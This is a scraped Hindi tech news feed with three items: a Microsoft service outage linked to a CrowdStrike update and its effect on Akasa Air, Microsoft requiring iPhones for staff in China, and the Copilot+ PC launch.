>> माइक्रोसॉफ्ट 365 में खराबी की 900 से ज्यादा रिपोर्ट सामने आ चुकी हैं। 74% यूजर्स को माइक्रोसॉफ्ट स्टोर में लॉगिन नहीं कर पा रहे हैं। वहीं 36% यूजर्स को ऐप में प्रॉब्लम आ रही है। इसके अवाला भी कंपनी से जुड़े अन्य प्लेटफॉर्म पर प्रॉब्मल की बातें सामने आ रही हैं।

माइक्रोसॉफ्ट की सर्विस पड़ी ठप माइक्रोसॉफ्ट ने बताया कि वो इस समस्या की जांच कर रहे हैं जिसके कारण उपयोगकर्ताओं को विभिन्न ऐप्स और सेवाओं तक पहुंचने में परेशानी हो रही है। साइबर सिक्योरिटी कंपनी क्राउडस्ट्राइक ने एक अपडेट जारी किया था जिसके बाद MS विंडोज पर चलने वाले सभी कंप्यूटर्स और लैपटॉप अचानक क्रैश कर रहे हैं। माइक्रोसॉफ्ट विंडोज में आई दिक्कत की वजह से अन्य सेवाओं पर भी असर पड़ा है। लोगों को माइक्रोसॉफ्ट 360, माइक्रोसॉफ्ट विंडोज, माइक्रोसॉफ्ट टीम, माइक्रोसॉफ्ट Azure, माइक्रोसॉफ्ट स्टोर और माइक्रोसॉफ्ट क्लाउड-पावर्ड सर्विस के इस्तेमाल में दिक्कत हो रही है। 74% यूजर्स को माइक्रोसॉफ्ट स्टोर में लॉगिन नहीं कर पा रहे हैं। वहीं 36% यूजर्स को ऐप में प्रॉब्लम आ रही है।

अकासा एयर ने पोस्ट कर कहा की हमारे सेवा प्रदाता के साथ बुनियादी ढांचे के मुद्दों के कारण, बुकिंग, चेक-इन और बुकिंग प्रबंधन सेवाओं सहित हमारी कुछ ऑनलाइन सेवाएँ अस्थायी रूप से अनुपलब्ध रहेंगी। वर्तमान में, हम हवाई अड्डों पर मैन्युअल चेक-इन और बोर्डिंग प्रक्रियाओं का पालन कर रहे हैं और इसलिए तत्काल यात्रा योजना वाले यात्रियों से अनुरोध करते हैं कि वे हमारे काउंटरों पर चेक-इन करने के लिए हवाई अड्डे पर जल्दी पहुंचें। हमें हुई असुविधा के लिए ईमानदारी से खेद है और हम आपको आश्वस्त करना चाहते हैं कि हमारी टीमें इसे जल्द से जल्द हल करने के लिए हमारे सेवा प्रदाता के साथ काम कर रही हैं।

 

 

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Microsoft ने चीन में लगाई Android फोन्स पर रोक? iPhone पर होगा काम https://pratyushaashakinayikiran.com/?p=50837 Sat, 13 Jul 2024 09:09:00 +0000 https://pratyushaashakinayikiran.com/?p=50837 बीजिंग

Microsoft चीन में साइबर सिक्योरिटी को लेकर एक महत्वपूर्ण कदम उठा रहा है. कंपनी ने चीन में अपने सभी कर्मचारियों को ऑफिस से जुड़े काम के लिए iPhone यूज करने के लिए कहा है. माइक्रोसॉफ्ट ने Android फोन इस्तेमाल कर रहे सभी कर्मचारियों को iPhone पर शिफ्ट करने के लिए कहा है. ब्लूमबर्ग ने ये जानकारी एक इंटरनल मेमो के हवाले से दी है.

सितंबर की शुरुआत से कंपनी अपना कार्पोरेट एक्सेस चीन में एंड्रॉयड फोन्स पर रोक देगी. इससे चीन में काम करने वाले बहुत से यूजर्स पर असर पड़ेगा. ये फैसला कंपनी की ग्लोबल सिक्योर फ्यूचर इनिशिएटिव (SFI) का हिस्सा है. इसके तहत कंपनी सभी कर्मचारियों के लिए साइबर सिक्योरिटी प्रैक्टिस को स्टैंडर्ड करना चाहती है.
आखिर क्यों लगाई Android फोन्स पर रोक?

ब्लूबर्ग की रिपोर्ट के मुताबिक, मेमो में बताया गया है कि चीन में काम कर रहे कर्मचारियों को जल्द ही आइडेंटिटी वेरिफिकेशन के लिए Apple डिवाइस जरूरी होगा. इस फैसले से चीन और फॉरेन मोबाइल इकोसिस्टम में पैदा हो रही दूरी साफ दिखती है.

दरअसल, चीन में Google Play Store उपलब्ध नहीं है. इसकी वजह से Huawei और दूसरे फोन मैन्युफैक्चरर्स अपने प्लेटफॉर्म का इस्तेमाल करते हैं. वहीं Apple के साथ ऐसा नहीं है. चीन में Apple App Store का एक्सेस मिलता है.

साइबर सिक्योरिटी की वजह से लिया फैसला

रिपोर्ट की मानें तो माइक्रोसॉफ्ट ने इन डिवाइसेस में गूगल मोबाइल सर्विसेस के नहीं होने की वजह से एक्सेस ब्लॉक करने का फैसला किया है. माइक्रोसॉफ्ट में बढ़ रही साइबर सिक्योरिटी चिंताएं भी इसकी वजह हैं. ब्लूबर्ग का कहना है कि कंपनी पर लगातार सरकार समर्थित साइबर हमले हुए हैं.

इसकी वजह से कंपनी को कई चुनौतियों का सामना करना पड़ा है. इन्हें ध्यान में रखते हुए Microsoft ने SFI को स्टैंडर्ड करने का फैसला किया है. मई में कंपनी के एक्जीक्यूटिव वायस प्रेसिडेंट चार्ली बेल ने कहा था कि सिक्योरिटी कंपनी की प्रमुख प्राथमिकता है. हालांकि, माइक्रोसॉफ्ट ने इस तरह के किसी बदलाव के बारे में आधिकारिक रूप से कोई जानकारी नहीं दी है.

नई मीडिया रिपोर्ट में जानकारी मिली है कि माइक्रोसॉफ्ट चीन में अपने ऑफिस में साइबर सिक्योरिटी को और पुख्ता करने की तैयारी कर रही है। इसके लिए कंपनी ने एक जरूरी सुरक्षा उपाय लागू करने की तैयारी कर ली है। अब चीन ऑफिस में एंड्रॉइड फोन का इस्तेमाल बंद कर दिया जाएगा। इसके बजाय आईफोन का इस्तेमाल होगा।

कर्मचारियों के फोन पर बैन

    माइक्रोसॉफ्ट ने फैसला किया है कि अब कर्मचारी ऑफिस संबंधी कार्यो में एंड्रॉइड के बजाय iPhone का इस्तेमाल करेंगे।

    सितंबर महीने से कंपनी चीन ऑफिस कैम्पस में Android-संचालित डिवाइस से कॉर्पोरेट एक्सेस को बैन कर देगी।

    ये फैसला Microsoft की ग्लोबल सिक्योर फ्यूचर इनिशिएटिव (SFI) का हिस्सा है।
    इस इनिशिएटिव का उद्देश्य एम्प्लॉई साइबर सिक्योरिटी प्रैक्टिस को हासिल करना है।

 

कर्मचारियों को मिलेगा iPhone 15

    ब्लूमबर्ग की रिपोर्ट में यह भी पता चला है कि चीन में काम करने वाले कर्मचारियों को जल्द ही कार्य कंप्यूटर या फोन में लॉग इन करते समय आईडी वेरिफितकेशन करना होगा।

    इसके लिए उन्हें केवल Apple डिवाइस का ही उपयोग करना होगा।

    यह फैसला चीनी और विदेशी मोबाइल इकोसिस्टमस के बीच बढ़ते अंतर को उजागर करता है।

    बता दें कि चीन में Apple के iOS स्टोर की सुविधा उपलब्ध है, मगर Google Play उपलब्ध नहीं है।

    प्ले स्टोर की कमी के कारण Huawei और Xiaomi जैसे लोकल स्मार्टफोन ब्रांड्स अपने प्लेटफॉर्म को पेश कर रहे हैं।

    सीधे शब्दों में कहें तो Microsoft का ये फैसला देश में Google की मोबाइल सेवाओं की कमी के कारण आया है।

    कर्मचारियों के लिए इस फैसले को आसान बनाने के लिए कंपनी कर्मचारियों को iPhone 15 डिवाइस दे रही है।

साइबर सिक्योरिटी एक बड़ा कारण

    यह कदम Microsoft के लिए बढ़ती सुरक्षा चिंताओं के मद्देनजर उठाया गया है।

    ब्लूमबर्ग की रिपोर्ट है कि कंपनी को राज्य प्रायोजित हैकर्स से बार-बार हमलों का सामना करना पड़ा है। इसने जनवरी में दर्जनों अमेरिकी सरकारी एजेंसियों को प्रभावित किया।

 

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Microsoft ने पेश किया विंडोज पीसी की नई रेंज, परफॉर्मेंस में ऐपल से तेज, कई AI फीचर भी https://pratyushaashakinayikiran.com/?p=32793 Tue, 21 May 2024 11:25:00 +0000 https://pratyushaashakinayikiran.com/?p=32793 मुम्बई

माइक्रोसॉफ्ट (Microsoft) ने अपने विंडोज पीसी की नई कैटिगरी को लॉन्च किया है। इसका नाम Copilot+ है। कंपनी के नए पर्सनल कंप्यूटर डेडिकेटेड न्यूरल प्रोसेसिंग यूनिट्स (NPUs) से लैस हैं। इन पीसी को खासतौर से ज्यादा एआई टास्क को लोकली पूरा करने के लिए डिजाइन किया गया है। कंपनी के सीईओ सत्या नडेला ने नए पीसी को अब तक का सबसे इंटेलिजेंट और फास्ट पर्सनल कंप्यूटर बताया है। नए पीसी ऐपल मैकबुक एयर से काफी फास्ट हैं।

डेल, एचपी, एसर, आसुस, लेनोवो और सैमसंग के साथ पार्टनरशिप
नए पीसी को मार्केट में ऑफर करने के लिए लिए माइक्रोसॉफ्ट ने डेल, एचपी, एसर, आसुस, लेनोवो और सैमसंग के साथ चिप बनाने वाली कंपनीयां क्वालकॉम, इंटेल और एएमडी के साथ पार्टनरशिप की है। कोपायलट+ पीसी की पहली रेंज स्नैपड्रैगन X सीरीज के चिप से लैस होगी। इनका प्री-ऑर्डर शुरू हो चुका है और इन्हें 18 जून से उपलब्ध करा दिया जाएगा। इसकी शुरुआती कीमत 999 डॉलर (करीब 83 हजार रुपये) है।

GPT-4o मॉडल को करता है सपोर्ट
कोपायलट+ पीसी में कई सारे एआई फीचर दिए गए हैं। Recall इन्हीं में से एक है। यह यूजर्स को नैचुरल लैंग्वेज प्रॉम्प्ट में फाइल और डेटा सर्च करने की सुविधा देगा। इसके अलावा पीसी में माइक्रोसॉफ्ट के एआई असिस्टेंट कोपायलट का अपग्रेडेड वर्जन भी दिया गया है, जो OpenAI के GPT-4o मॉडल को सपोर्ट करेगा। कंपनी के अनुसार इसे संभव करने के लिए विंडोज 11 के नए लेयर में 40 से ज्यादा एआई मॉडल्स को शामिल करना पड़ा।

ऐपल के मैकबुक एयर से 58% फास्ट
माइक्रोसॉफ्ट का दावा है कि कोपायलट+ पीसी का परफॉर्मेंस और इनकी बैटरी लाइफ जबरदस्त है। कंपनी का कहना है कि ये पीसी M3 प्रोसेसर वाले ऐपल के मैकबुक एयर (15 इंच) से 58% फास्ट हैं। साथ ही ये सिंगल चार्ज पर 15 घंटे तक की वेब ब्राउजिंग और 22 घंटे तक का लोकल वीडियो प्लेबैक ऑफर करते हैं।

माइक्रोसॉफ्ट ने पीसी को पावरफुल बनाने के लिए 16जीबी रैम और 256जीबी स्टोरेज के साथ डेडिकेटेड NPU का इस्तेमाल किया है। कोपायलट+ पीसी के लिए कंपनी ने Arm-based चिप्स के लिए विंडोज 11 को फिर से तैयार किया है। साथ ही कंपनी ने एक Prism नाम का एम्यूलेटर भी डेवेलप किया है, जो पुराने ऐप्स के साथ नए पीसी को कंपैटिबल बनाता है।

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